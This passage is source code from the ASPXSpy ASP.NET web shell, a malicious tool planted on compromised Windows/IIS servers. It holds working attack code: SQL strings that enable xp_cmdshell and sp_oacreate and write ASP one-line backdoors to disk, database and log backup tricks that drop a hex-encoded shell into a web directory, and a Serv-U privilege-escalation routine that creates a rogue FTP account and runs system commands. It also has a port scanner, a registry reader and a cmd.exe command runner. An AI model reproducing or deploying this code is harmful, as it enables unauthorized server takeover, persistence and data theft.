  895. comm.CommandText=instr;
  896. comm.ExecuteNonQuery();
  897. }
  898. catch(Exception e)
  899. {
  900. Bin_Error(e.Message);
  901. }
  902. }
  903. public void Item_DataBound(object sender,DataGridItemEventArgs e)
  904. {
  905.  
  906. for(int i=2; i < e.Item.Cells.Count; i++)
  907. {
  908. e.Item.Cells[i].Text=e.Item.Cells[i].Text.Replace("<", "&lt;").Replace(">", "&gt;");
  909. }
  910.  
  911. }
  912. protected void Bin_DBPage(object sender, DataGridPageChangedEventArgs e)
  913. {
  914. Bin_DataGrid.CurrentPageIndex=e.NewPageIndex;
  915. Bin_Databind();
  916. }
  917. public void Item_Command(object sender, DataGridCommandEventArgs e)
  918. {
  919. if(e.CommandName=="Cancel")
  920. {
  921. Bin_DataGrid.EditItemIndex=-1;
  922. Bin_Databind();
  923. }
  924. }
  925.  
  926. protected void Bin_ExecButton_Click(object sender, EventArgs e)
  927. {
  928. try
  929. {
  930.  
  931. Bin_Scroll.Visible=true;
  932. Bin_DataGrid.Visible=true;
  933. Bin_DataGrid.AllowPaging=true;
  934. Bin_Accbind();
  935. if(Bin_SQLRadioButton.Checked)
  936. {
  937. Bin_DBmenuPanel.Visible=true;
  938. }
  939. string sqlstr=Bin_DBstrTextBox.Text;
  940. sqlstr=sqlstr.TrimStart().ToLower();
  941. if(sqlstr.Substring(0, 6)=="select")
  942. {
  943. DataTable databind=Bin_DataTable(sqlstr);
  944. Bin_DataGrid.DataSource=databind;
  945. Bin_DataGrid.DataBind();
  946. }
  947. else
  948. {
  949. Bin_ExecSql(sqlstr);
  950. Bin_Databind();
  951. }
  952. }
  953. catch(Exception error)
  954. {
  955. Bin_Error(error.Message);
  956. }
  957. }
  958.  
  959. protected void Bin_BDButton_Click(object sender, EventArgs e)
  960. {
  961. Bin_DBinfoLabel.Visible=false;
  962. Bin_Accbind();
  963. Bin_DBmenuPanel.Visible=true;
  964. Bin_DataGrid.Visible=false;
  965. Bin_DataGrid.AllowPaging=true;
  966. Bin_Scroll.Visible=false;
  967. Bin_DBstrTextBox.Text="";
  968. Bin_SAexecButton.Visible=false;
  969. Bin_ResLabel.Visible=false;
  970. Bin_dirPanel.Visible=false;
  971.  
  972. }
  973.  
  974. protected void Bin_SACMDButton_Click(object sender, EventArgs e)
  975. {
  976. Bin_DBinfoLabel.Visible=false;
  977. Bin_DataGrid.Visible=false;
  978. Bin_Scroll.Visible=false;
  979. Bin_SAexecButton.Visible=true;
  980. Bin_Change();
  981. Bin_ExecButton.Visible=false;
  982. Bin_ResLabel.Visible=false;
  983. Session["Bin_Option"]=null;
  984. Bin_dirPanel.Visible=false;
  985.  
  986. }
  987. public void Bin_Change()
  988. {
  989. Bin_ExecButton.Visible=false;
  990. string select="<input type=hidden name=goaction><input type=hidden name=todo><input type=hidden name=intext><select onchange=if(this.value!='')Command('changedata',this);><option>SQL Server Exec<option value=\"Use master dbcc addextendedproc('sp_OACreate','odsole70.dll')\">Add sp_oacreate<option value=\"Use master dbcc addextendedproc('xp_cmdshell','xplog70.dll')\">Add xp_cmdshell<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">Add xp_cmdshell<option value=\"EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;\">Add xp_cmdshell(SQL2005)<option value=\"Exec master.dbo.xp_cmdshell 'net user'\">XP_cmdshell exec<option value=\"Declare @s int;exec sp_oacreate 'wscript.shell',@s out;Exec SP_OAMethod @s,'run',NULL,'cmd.exe /c echo ^&lt;%execute(request(char(35)))%^> > c:\\1.asp';\">SP_oamethod exec<option value=\"sp_makewebtask @outputfile='d:\\web\\bin.asp',@charset=gb2312,@query='select ''<%execute(request(chr(35)))"+"%"+">''' \">SP_makewebtask make file";
  991. if(Session["Bin_Option"] !=null)
  992. {
  993. select+="<option SELECTED>"+Session["Bin_Option"]+"</option>";
  994. }
  995. select+="</select>";
  996. Bin_AccinfoLabel.Text=select;
  997. Bin_DataGrid.Visible=false;
  998. Bin_Scroll.Visible=false;
  999. }
  1000.  
  1001. protected void Bin_SAexecButton_Click(object sender, EventArgs e)
  1002. {
  1003. try
  1004. {
  1005. Bin_Change();
  1006. Bin_DBinfoLabel.Visible=false;
  1007. Bin_ExecButton.Visible=false;
  1008. Bin_Scroll.Visible=false;
  1009. Bin_DataGrid.Visible=false;
  1010. Bin_DBmenuPanel.Visible=true;
  1011. string sqlstr=Bin_DBstrTextBox.Text;
  1012. DataTable databind=Bin_DataTable(sqlstr);
  1013. string res="";
  1014. foreach(DataRow dr in databind.Rows)
  1015. {
  1016. for(int i=0; i < databind.Columns.Count; i++)
  1017. {
  1018. res+=dr[i]+"\r";
  1019. }
  1020. }
  1021. Bin_ResLabel.Text="<hr><div id=\"nei\"><PRE>"+res.Replace(" ", "&nbsp;").Replace("<", "&lt;").Replace(">", "&gt;")+"</PRE></div>";
  1022.  
  1023.  
  1024. }
  1025. catch(Exception error)
  1026. {
  1027. Bin_Error(error.Message);
  1028. }
  1029.  
  1030. }
  1031.  
  1032. protected void Bin_DirButton_Click(object sender, EventArgs e)
  1033. {
  1034. Bin_dirPanel.Visible=true;
  1035. Bin_AccPanel.Visible=false;
  1036. Bin_DBinfoLabel.Visible=false;
  1037. Bin_DataGrid.Visible=false;
  1038. Bin_Scroll.Visible=false;
  1039. }
  1040.  
  1041. protected void Bin_listButton_Click(object sender, EventArgs e)
  1042. {
  1043. Bin_dirPanel.Visible=true;
  1044. Bin_AccPanel.Visible=false;
  1045. Bin_DBinfoLabel.Visible=false;
  1046. Bin_SqlDir();
  1047. }
  1048. public void Bin_SqlDir()
  1049. {
  1050. try
  1051. {
  1052. Bin_DataGrid.Visible=true;
  1053. Bin_Scroll.Visible=true;
  1054. Bin_DataGrid.AllowPaging=false;
  1055. string exesql="use pubs;if exists(select * from sysobjects where id=object_id(N'[bin_dir]')and OBJECTPROPERTY(id, N'IsUserTable')=1)drop table [bin_dir]; CREATE TABLE bin_dir(DirName VARCHAR(400), DirAtt VARCHAR(400),DirFile VARCHAR(400))INSERT bin_dir EXEC MASTER..XP_dirtree '"+Bin_DirTextBox.Text+"',1,1;";
  1056. Bin_ExecSql(exesql);
  1057. DataTable sql_dir=Bin_DataTable("select * from bin_dir");
  1058. Bin_DataGrid.DataSource=sql_dir;
  1059. Bin_DataGrid.DataBind();
  1060. }
  1061. catch(Exception e)
  1062. {
  1063. Bin_Error(e.Message);
  1064. }
  1065. }
  1066.  
  1067. protected void Bin_SuButton_Click(object sender, EventArgs e)
  1068. {
  1069. Bin_CmdPanel.Visible=false;
  1070. Bin_SQLPanel.Visible=false;
  1071. Bin_SuPanel.Visible=true;
  1072. Bin_IISPanel.Visible=false;
  1073. Bin_SuresLabel.Text="";
  1074. Bin_LoginPanel.Visible=false;
  1075. Bin_RegPanel.Visible=false;
  1076. Bin_PortPanel.Visible=false;
  1077. }
  1078.  
  1079. protected void Bin_dbshellButton_Click(object sender, EventArgs e)
  1080. {
  1081. Bin_DBinfoLabel.Visible=false;
  1082. Bin_AccPanel.Visible=false;
  1083. Bin_BakDB();
  1084. }
  1085. public void Bin_BakDB()
  1086. {
  1087. string path=Bin_DirTextBox.Text.Trim();
  1088. if(path.Substring(path.Length - 1, 1)==@"\")
  1089. {
  1090. path=path+"bin.asp";
  1091. }
  1092. else
  1093. {
  1094. path=path+@"\bin.asp";
  1095. }
  1096. string sql="if exists(select * from sysobjects where id=object_id(N'[bin_cmd]')and OBJECTPROPERTY(id, N'IsUserTable')=1)drop table [bin_cmd];create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup database @a to disk=@s;insert into [bin_cmd](cmd)values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='"+path+"' backup database @b to disk=@t WITH DIFFERENTIAL,FORMAT;drop table [bin_cmd];";
  1097. Bin_ExecSql(sql);
  1098. Bin_SqlDir();
  1099. }
  1100. public void Bin_BakLog()
  1101. {
  1102. string path=Bin_DirTextBox.Text.Trim();
  1103. if(path.Substring(path.Length - 1, 1)==@"\")
  1104. {
  1105. path=path+"bin.asp";
  1106. }
  1107. else
  1108. {
  1109. path=path+@"\bin.asp";
  1110. }
  1111. string sql="if exists(select * from sysobjects where id=object_id(N'[bin_cmd]')and OBJECTPROPERTY(id, N'IsUserTable')=1)drop table [bin_cmd];create table [bin_cmd]([cmd] [image]);declare @a sysname,@s nvarchar(4000)select @a=db_name(),@s=0x62696E backup log @a to disk=@s;insert into [bin_cmd](cmd)values(0x3C256578656375746520726571756573742822422229253E);declare @b sysname,@t nvarchar(4000)select @b=db_name(),@t='"+path+"' backup log @b to disk=@t with init,no_truncate;drop table [bin_cmd];";
  1112. Bin_ExecSql(sql);
  1113. Bin_SqlDir();
  1114. }
  1115.  
  1116. protected void Bin_LogshellButton_Click(object sender, EventArgs e)
  1117. {
  1118. Bin_DBinfoLabel.Visible=false;
  1119. Bin_AccPanel.Visible=false;
  1120. Bin_BakLog();
  1121. }
  1122.  
  1123. protected void Bin_SuexpButton_Click(object sender, EventArgs e)
  1124. {
  1125. string Result="";
  1126. string user=Bin_SunameTextBox.Text;
  1127. string pass=Bin_SupassTextBox.Text;
  1128. int port=Int32.Parse(Bin_SuportTextBox.Text);
  1129. string cmd=Bin_SucmdTextBox.Text;
  1130. string loginuser="user "+user+"\r\n";
  1131. string loginpass="pass "+pass+"\r\n";
  1132. string site="SITE MAINTENANCE\r\n";
  1133. string deldomain="-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n";
  1134. string setdomain="-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n";
  1135. string newdomain="-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n";
  1136. string quite="QUIT\r\n";
  1137. try
  1138. {
  1139. TcpClient tcp=new TcpClient("127.0.0.1", port);
  1140. tcp.ReceiveBufferSize=1024;
  1141. NetworkStream NS=tcp.GetStream();
  1142. Result=Rev(NS);
  1143. Result+=Send(NS, loginuser);
  1144. Result+=Rev(NS);
  1145. Result+=Send(NS, loginpass);
  1146. Result+=Rev(NS);
  1147. Result+=Send(NS, site);
  1148. Result+=Rev(NS);
  1149. Result+=Send(NS, deldomain);
  1150. Result+=Rev(NS);
  1151. Result+=Send(NS, setdomain);
  1152. Result+=Rev(NS);
  1153. Result+=Send(NS, newdomain);
  1154. Result+=Rev(NS);
  1155. TcpClient tcp1=new TcpClient("127.0.0.1", 52521);
  1156. NetworkStream NS1=tcp1.GetStream();
  1157. Result+=Rev(NS1);
  1158. Result+=Send(NS1, "user bin\r\n");
  1159. Result+=Rev(NS1);
  1160. Result+=Send(NS1, "pass binftp\r\n");
  1161. Result+=Rev(NS1);
  1162. Result+=Send(NS1, "site exec "+cmd+"\r\n");
  1163. Result+=Rev(NS1);
  1164. tcp1.Close();
  1165. Result+=Send(NS, deldomain);
  1166. Result+=Rev(NS);
  1167. Result+=Send(NS, quite);
  1168. Result+=Rev(NS);
  1169. tcp.Close();
  1170. }
  1171. catch(Exception error)
  1172. {
  1173. Bin_Error(error.Message);
  1174. }
  1175. Bin_SuresLabel.Text="<div id=\"su\"><pre>"+Result+"</pre></div>";
  1176.  
  1177.  
  1178. }
  1179. protected string Rev(NetworkStream instream)
  1180. {
  1181. string Restr="";
  1182. if(instream.CanRead)
  1183. {
  1184. byte[] buffer=new byte[1024];
  1185. instream.Read(buffer, 0, buffer.Length);
  1186. Restr=Encoding.ASCII.GetString(buffer);
  1187. }
  1188. return "<font color=red>"+Restr+"</font><br>";
  1189.  
  1190. }
  1191. protected string Send(NetworkStream instream,string Sendstr)
  1192. {
  1193. if(instream.CanWrite)
  1194. {
  1195. byte[] buffer=Encoding.ASCII.GetBytes(Sendstr);
  1196. instream.Write(buffer, 0, buffer.Length);
  1197. }
  1198. return "<font color=blue>"+Sendstr+"</font><br>";
  1199. }
  1200. protected void Bin_IISButton_Click(object sender, EventArgs e)
  1201. {
  1202. Bin_LoginPanel.Visible=false;
  1203. Bin_MainPanel.Visible=false;
  1204. Bin_MenuPanel.Visible=true;
  1205. Bin_FilePanel.Visible=false;
  1206. Bin_CmdPanel.Visible=false;
  1207. Bin_SQLPanel.Visible=false;
  1208. Bin_SuPanel.Visible=false;
  1209. Bin_IISPanel.Visible=true;
  1210. Bin_RegPanel.Visible=false;
  1211. Bin_PortPanel.Visible=false;
  1212. Bin_iisLabel.Text=Bin_iisinfo();
  1213.  
  1214. }
  1215.  
  1216. protected void Bin_PortButton_Click(object sender, EventArgs e)
  1217. {
  1218. Bin_MenuPanel.Visible=true;
  1219. Bin_LoginPanel.Visible=false;
  1220. Bin_CmdPanel.Visible=false;
  1221. Bin_SQLPanel.Visible=false;
  1222. Bin_SuPanel.Visible=false;
  1223. Bin_IISPanel.Visible=false;
  1224. Bin_RegPanel.Visible=false;
  1225. Bin_PortPanel.Visible=true;
  1226. Bin_ScanresLabel.Text="";
  1227. }
  1228.  
  1229. protected void Bin_RegButton_Click(object sender, EventArgs e)
  1230. {
  1231. Bin_MenuPanel.Visible=true;
  1232. Bin_LoginPanel.Visible=false;
  1233. Bin_CmdPanel.Visible=false;
  1234. Bin_SQLPanel.Visible=false;
  1235. Bin_SuPanel.Visible=false;
  1236. Bin_IISPanel.Visible=false;
  1237. Bin_RegPanel.Visible=true;
  1238. Bin_PortPanel.Visible=false;
  1239. Bin_RegresLabel.Text="";
  1240.  
  1241. }
  1242.  
  1243. protected void Bin_RegreadButton_Click(object sender, EventArgs e)
  1244. {
  1245. try
  1246. {
  1247. string regkey=Bin_KeyTextBox.Text;
  1248. string subkey=regkey.Substring(regkey.IndexOf("\\")+1, regkey.Length - regkey.IndexOf("\\")- 1);
  1249. RegistryKey rk=null;
  1250. object buffer;
  1251. string regstr="";
  1252. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_LOCAL_MACHINE")
  1253. {
  1254. rk=Registry.LocalMachine.OpenSubKey(subkey);
  1255. }
  1256. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_CLASSES_ROOT")
  1257. {
  1258. rk=Registry.ClassesRoot.OpenSubKey(subkey);
  1259. }
  1260. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_CURRENT_USER")
  1261. {
  1262. rk=Registry.CurrentUser.OpenSubKey(subkey);
  1263. }
  1264. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_USERS")
  1265. {
  1266. rk=Registry.Users.OpenSubKey(subkey);
  1267. }
  1268. if(regkey.Substring(0, regkey.IndexOf("\\"))=="HKEY_CURRENT_CONFIG")
  1269. {
  1270. rk=Registry.CurrentConfig.OpenSubKey(subkey);
  1271. }
  1272. buffer=rk.GetValue(Bin_ValueTextBox.Text, "NULL");
  1273. if (buffer.GetType()==typeof(byte[]))
  1274. {
  1275. foreach (byte tmpbyte in (byte[])buffer)
  1276. {
  1277. if ((int)tmpbyte<16)
  1278. {
  1279. regstr+="0";
  1280. }
  1281. regstr+=tmpbyte.ToString("X");
  1282. }
  1283. Bin_RegresLabel.Text="<br>Result : "+regstr;
  1284. }
  1285. else
  1286. {
  1287. Bin_RegresLabel.Text="<br>Result : "+buffer.ToString();
  1288. }
  1289. }
  1290. catch(Exception error)
  1291. {
  1292. Bin_Error(error.Message);
  1293. }
  1294. }
  1295.  
  1296. protected void Bin_ScancmdButton_Click(object sender, EventArgs e)
  1297. {
  1298. try
  1299. {
  1300. string res="";
  1301. string[] port=Bin_PortsTextBox.Text.Split(',');
  1302. for(int i=0; i < port.Length; i++)
  1303. {
  1304. res+=Bin_Scan(Bin_ScanipTextBox.Text, Int32.Parse(port[i]))+"<br>";
  1305. }
  1306. Bin_ScanresLabel.Text="<hr>"+res;
  1307. }
  1308. catch(Exception error)
  1309. {
  1310. Bin_Error(error.Message);
  1311. }
  1312. }
  1313. protected string Bin_Scan(string ip, int port)
  1314. {
  1315.  
  1316. string scanres="";
  1317. TcpClient tcp=new TcpClient();
  1318. tcp.SendTimeout=tcp.ReceiveTimeout=2000;
  1319. try
  1320. {
  1321. tcp.Connect(ip, port);
  1322. tcp.Close();
  1323. scanres=ip+" : "+port+" ................................. <font color=green><b>Open</b></font>";
  1324. }
  1325. catch(SocketException e)
  1326. {
  1327. scanres=ip+" : "+port+" ................................. <font color=red><b>Close</b></font>";
  1328. }
  1329. return scanres;
  1330. }
  1331. </script>
  1332. <html xmlns="http://www.w3.org/1999/xhtml" >
  1333. <head runat="server">
  1334. <title>ASPXSpy1.0 -> Bin:)</title>
  1335. <style type="text/css">
  1336. A:link {
  1337. COLOR:#000000; TEXT-DECORATION:None
  1338. }
  1339. A:visited {
  1340. COLOR:#000000; TEXT-DECORATION:None
  1341. }
  1342. A:active {
  1343. COLOR:#000000; TEXT-DECORATION:None
  1344. }
  1345. A:hover {
  1346. COLOR:#000000; TEXT-DECORATION:underline
  1347. }
  1348. BODY {
  1349. FONT-SIZE: 9pt;
  1350. FONT-FAMILY: "Courier New";
  1351. }
  1352. #nei {
  1353. width:500px;
  1354. margin:0px auto;
  1355.  
  1356. overflow:hidden
  1357. }
  1358. #su {
  1359. width:300px;
  1360. margin:0px auto;
  1361.  
  1362. overflow:hidden
  1363. }
  1364. #cmd {
  1365. width:500px;
  1366. margin:0px auto;
  1367.  
  1368. overflow:hidden
  1369. }
  1370. </style>
  1371. <script type="text/javascript" language="javascript" >
  1372. function Command(cmd, str)
  1373. {
  1374. var strTmp=str;
  1375. var frm=document.forms[0];
  1376. if(cmd=='del')
  1377. {
  1378. if(confirm('Del It ?'))
  1379. {
  1380. frm.todo.value=str;
  1381. frm.goaction.value=cmd;
  1382. frm.submit();
  1383. }
  1384. else return;
  1385. }
  1386. if(cmd=='change')
  1387. {
  1388. frm.todo.value=str;
  1389. frm.goaction.value=cmd;
  1390. frm.submit();
  1391. }
  1392. if(cmd=='down')
  1393. {
  1394. frm.todo.value=str;
  1395. frm.goaction.value=cmd;
  1396. frm.submit();
  1397. }
  1398. if(cmd=='showatt')
  1399. {
  1400. frm.todo.value=str;
  1401. frm.goaction.value=cmd;
  1402. frm.submit();
  1403. }
  1404. if(cmd=='edit')
  1405. {
  1406. frm.todo.value=str;
  1407. frm.goaction.value=cmd;
  1408. frm.submit();
  1409. }
  1410. if(cmd=='deldir')
  1411. {
  1412. if(confirm('Del It ?'))
  1413. {
  1414. frm.todo.value=str;
  1415. frm.goaction.value=cmd;
  1416. frm.submit();
  1417. }
  1418. else return;
  1419. }
  1420. if(cmd=='rename' )
  1421. {
  1422. frm.goaction.value=cmd;
  1423. frm.todo.value=str+',';
  1424. str=prompt('Please input new filename:', strTmp);
  1425. if(str &&(strTmp !=str))
  1426. {
  1427. frm.todo.value+=str;
  1428. frm.submit();
  1429. }
  1430. else return;
  1431. }
  1432. if(cmd=='renamedir' )
  1433. {
  1434. frm.goaction.value=cmd;
  1435. frm.todo.value=str+',';
  1436. str=prompt('Please input new foldername:', strTmp);
  1437. if(str &&(strTmp !=str))
  1438. {
  1439. frm.todo.value+=str;
  1440. frm.submit();
  1441. }
  1442. else return;
  1443. }
  1444. if(cmd=='postdata')
  1445. {
  1446. frm.todo.value=str.value;
  1447. frm.goaction.value=cmd;
  1448. frm.submit();
  1449. }
  1450. if(cmd=='changedata')
  1451. {
  1452. frm.todo.value=str.value;
  1453. frm.intext.value=str.options[str.selectedIndex].innerText
  1454. frm.goaction.value=cmd;
  1455. frm.submit();
  1456. }
  1457. }
  1458.  
  1459. </script>
  1460. </head>
  1461. <body>
  1462. <form id="form1" runat="server"><div style="text-align: center"><asp:Panel ID="Bin_LoginPanel" runat="server" Height="47px" Width="401px">
  1463. <asp:Label ID="PassLabel" runat="server" Text="Password:"></asp:Label>
  1464. <asp:TextBox ID="passtext" runat="server" TextMode="Password" Width="203px"></asp:TextBox>
  1465. <asp:Button ID="LoginButton" runat="server" Text="Enter" OnClick="LoginButton_Click" /><p />
  1466. Copyright(C)2008 Bin -> <a href="http://www.rootkit.net.cn" target="_blank">WwW.RoOTkIt.NeT.Cn</a></asp:Panel><asp:Panel ID="Bin_MenuPanel" runat="server" Height="56px" Width="771px">
  1467. <asp:Label ID="TimeLabel" runat="server" Text="Label" Width="150px"></asp:Label><br />
  1468. <asp:Button ID="MainButton" runat="server" OnClick="MainButton_Click" Text="Sysinfo" />
  1469. <asp:Button ID="Bin_IISButton" runat="server" OnClick="Bin_IISButton_Click" Text="IISSpy" />
  1470. <asp:Button ID="FileButton" runat="server" OnClick="FileButton_Click" Text="WebShell" />
  1471. <asp:Button ID="Bin_CmdButton" runat="server" Text="Command" OnClick="Bin_CmdButton_Click" />
  1472. <asp:Button ID="Bin_SQLButton" runat="server" OnClick="Bin_SQLButton_Click" Text="SqlTools" />&nbsp;<asp:Button
  1473. ID="Bin_SuButton" runat="server" OnClick="Bin_SuButton_Click" Text="SuExp" />
  1474. <asp:Button ID="Bin_PortButton" runat="server" Text="PortScan" OnClick="Bin_PortButton_Click" />
  1475. <asp:Button ID="Bin_RegButton" runat="server" Text="RegShell" OnClick="Bin_RegButton_Click" />
  1476. <asp:Button ID="LogoutButton" runat="server" OnClick="LogoutButton_Click" Text="Logout" /><br />
  1477. <asp:Label ID="Bin_ErrorLabel" runat="server" EnableViewState="False">Copyright(C)2008 Bin -> <a href="http://www.rootkit.net.cn" target="_blank">WwW.RoOTkIt.NeT.Cn</a> -> <a href="http://www.rootkit.net.cn/index.aspx" target="_blank">Reverse-IP</a> </asp:Label></asp:Panel>
  1478. <asp:Panel ID="Bin_MainPanel" runat="server" Width="769px" EnableViewState="False" Visible="False" Height="20px">
  1479. <div style="text-align: left"><asp:Label ID="InfoLabel" runat="server" Width="765px" EnableViewState="False" ></asp:Label></div></asp:Panel><div style="text-align: center">
  1480. <asp:Panel ID="Bin_FilePanel" runat="server" Width="767px" EnableViewState="False" Visible="False"><div style="text-align: left"><asp:Label ID="Bin_FileLabel" runat="server" Text="Label" Width="764px"></asp:Label><br />
  1481. <asp:Label ID="Bin_UpfileLabel" runat="server" Text="Upfile : "></asp:Label>
  1482. <input class="TextBox" id="Bin_UpFile" type="file" name="upfile" runat="server" />&nbsp;<asp:TextBox ID="Bin_upTextBox" runat="server" Width="339px"></asp:TextBox>&nbsp;
  1483. <asp:Button ID="Bin_GoButton" runat="server" OnClick="Bin_GoButton_Click" Text="GO" />
  1484. <asp:Button ID="Bin_upButton" runat="server" Text="UpLoad" OnClick="Bin_upButton_Click" EnableViewState="False" /><br />
  1485. <asp:Label ID="Bin_CreateLabel" runat="server" Text="Create :"></asp:Label>
  1486. <asp:TextBox ID="Bin_CreateTextBox" runat="server"></asp:TextBox><asp:Button ID="Bin_NewFileButton"
  1487. runat="server" Text="NewFile" OnClick="Bin_NewFileButton_Click" />
  1488. <asp:Button ID="Bin_NewdirButton" runat="server" Text="NewDir" OnClick="Bin_NewdirButton_Click" />
  1489. <br />
  1490. <asp:Label ID="Bin_CopyLabel" runat="server" Text="Copy :" Width="39px"></asp:Label>
  1491. &nbsp;
  1492. <asp:TextBox ID="Bin_CopyTextBox" runat="server" Width="273px"></asp:TextBox>
  1493. <asp:Label ID="Bin_CopytoLable" runat="server" Text="To:"></asp:Label>
  1494. <asp:TextBox ID="Bin_CopytoTextBox" runat="server" Width="268px"></asp:TextBox>
  1495. <asp:Button ID="Bin_CopyButton" runat="server" Text="Copy" OnClick="Bin_CopyButton_Click" />
  1496. <asp:Button ID="Bin_CutButton" runat="server" Text="Cut" Width="46px" OnClick="Bin_CutButton_Click" />
  1497. <asp:Label ID="Bin_FilelistLabel" runat="server" EnableViewState="False"></asp:Label></div><div style="text-align: center">
  1498. <asp:Panel ID="Bin_AttPanel" runat="server" Width="765px" Visible="False"><hr />
  1499. FileName :
  1500. <asp:Label ID="Bin_AttLabel" runat="server" Text="Label"></asp:Label><br />
  1501. <asp:CheckBox ID="Bin_ReadOnlyCheckBox" runat="server" Text="ReadOnly" />
  1502. <asp:CheckBox ID="Bin_SystemCheckBox" runat="server" Text="System" />
  1503. <asp:CheckBox ID="Bin_HiddenCheckBox" runat="server" Text="Hidden" />
  1504. <asp:CheckBox ID="Bin_ArchiveCheckBox" runat="server" Text="Archive" />
  1505. <br />
  1506. CreationTime :
  1507. <asp:TextBox ID="Bin_CreationTimeTextBox" runat="server" Width="123px"></asp:TextBox>
  1508. LastWriteTime :
  1509. <asp:TextBox ID="Bin_LastWriteTimeTextBox" runat="server" Width="129px"></asp:TextBox>
  1510. LastAccessTime :
  1511. <asp:TextBox ID="Bin_AccessTimeTextBox" runat="server" Width="119px"></asp:TextBox><br />
  1512. <asp:Button ID="Bin_SetButton" runat="server" OnClick="Bin_SetButton_Click" Text="Set" />
  1513. <asp:Button ID="Bin_SbackButton" runat="server" OnClick="Bin_SbackButton_Click" Text="Back" />
  1514. <hr />
  1515. </asp:Panel></div>
  1516. <div style="text-align: center"><asp:Panel ID="Bin_EditPanel" runat="server" Visible="False"><hr style="width: 757px" />
  1517. Path:<asp:TextBox ID="Bin_EditpathTextBox" runat="server" Width="455px"></asp:TextBox><br />
  1518. <asp:TextBox ID="Bin_EditTextBox" runat="server" TextMode="MultiLine" Columns="100" Rows="25" Width="760px"></asp:TextBox><br />
  1519. <asp:Button ID="Bin_EditButton" runat="server" Text="Sumbit" OnClick="Bin_EditButton_Click" />&nbsp;<asp:Button
  1520. ID="Bin_BackButton" runat="server" OnClick="Bin_BackButton_Click" Text="Back" /></asp:Panel></div></asp:Panel></div>
  1521. <asp:Panel ID="Bin_CmdPanel" runat="server" Height="50px" Width="763px"><hr />
  1522. CmdPath : &nbsp;<asp:TextBox ID="Bin_CmdPathTextBox" runat="server" Width="395px">C:\Windows\System32\Cmd.exe</asp:TextBox><br />
  1523. Argument :
  1524. <asp:TextBox ID="Bin_CmdShellTextBox" runat="server" Width="395px">/c Set</asp:TextBox><br />
  1525. <asp:Button ID="Bin_RunButton" runat="server" OnClick="Bin_RunButton_Click" Text="Run" />
  1526. <div style="text-align: left">
  1527. <asp:Label ID="Bin_CmdLabel" runat="server" EnableViewState="False"></asp:Label></div>
  1528. <hr /></asp:Panel>
  1529. <asp:Panel ID="Bin_SQLPanel" runat="server" Visible="False" Width="763px">
  1530. <hr />
  1531. ConnString :
  1532. <asp:TextBox ID="Bin_SQLconnTextBox" runat="server" Width="547px">server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB</asp:TextBox><br />
  1533. <asp:RadioButton ID="Bin_SQLRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_SQLRadioButton_CheckedChanged" Text="MS-SQL" Checked="True" />
  1534. <asp:RadioButton ID="Bin_AccRadioButton" runat="server" AutoPostBack="True" OnCheckedChanged="Bin_AccRadioButton_CheckedChanged" Text="MS-Access" />
  1535. <asp:Button ID="SQL_SumbitButton" runat="server" Text="Sumbit" OnClick="SQL_SumbitButton_Click" /><hr />
  1536. <asp:Panel ID="Bin_DBmenuPanel" runat="server" Width="759px" Visible="False">
  1537. <asp:Button ID="Bin_BDButton" runat="server" Text="DataBase" OnClick="Bin_BDButton_Click" />
  1538. <asp:Button ID="Bin_SACMDButton" runat="server" Text="SA_Exec" OnClick="Bin_SACMDButton_Click" />
  1539. <asp:Button ID="Bin_DirButton" runat="server" Text="SQL_Dir" OnClick="Bin_DirButton_Click" /><br /><hr /><div style="text-align: left">
  1540. <asp:Label ID="Bin_DBinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label></div></asp:Panel>
  1541. <asp:Panel ID="Bin_AccPanel" runat="server" Height="50px" Width="759px" EnableViewState="False">
  1542. <asp:Label ID="Bin_AccinfoLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label><br />
  1543. <asp:TextBox ID="Bin_DBstrTextBox" runat="server" TextMode="MultiLine" Width="569px"></asp:TextBox>
  1544. <asp:Button ID="Bin_ExecButton" runat="server" OnClick="Bin_ExecButton_Click" Text="Exec" />
  1545. <asp:Button ID="Bin_SAexecButton" runat="server" Text="SA_Exec" OnClick="Bin_SAexecButton_Click" /><br />
  1546. <div style="text-align:left">
  1547. <asp:Label ID="Bin_ResLabel" runat="server" ></asp:Label></div></asp:Panel>
  1548. <asp:Panel ID="Bin_dirPanel" runat="server" Visible="False" Width="759px">
  1549. Path :
  1550. <asp:TextBox ID="Bin_DirTextBox" runat="server" Width="447px">c:\</asp:TextBox>
  1551. <br />
  1552. <asp:Button ID="Bin_listButton" runat="server" OnClick="Bin_listButton_Click" Text="Dir" />&nbsp;<asp:Button
  1553. ID="Bin_dbshellButton" runat="server" OnClick="Bin_dbshellButton_Click" Text="Bak_DB" />
  1554. <asp:Button ID="Bin_LogshellButton" runat="server" Text="Bak_LOG" OnClick="Bin_LogshellButton_Click" /><hr /></asp:Panel>
  1555. <br /><br />
  1556. <div style="overflow:scroll; text-align:left; width:770px;" id="Bin_Scroll" runat="server" visible="false" >
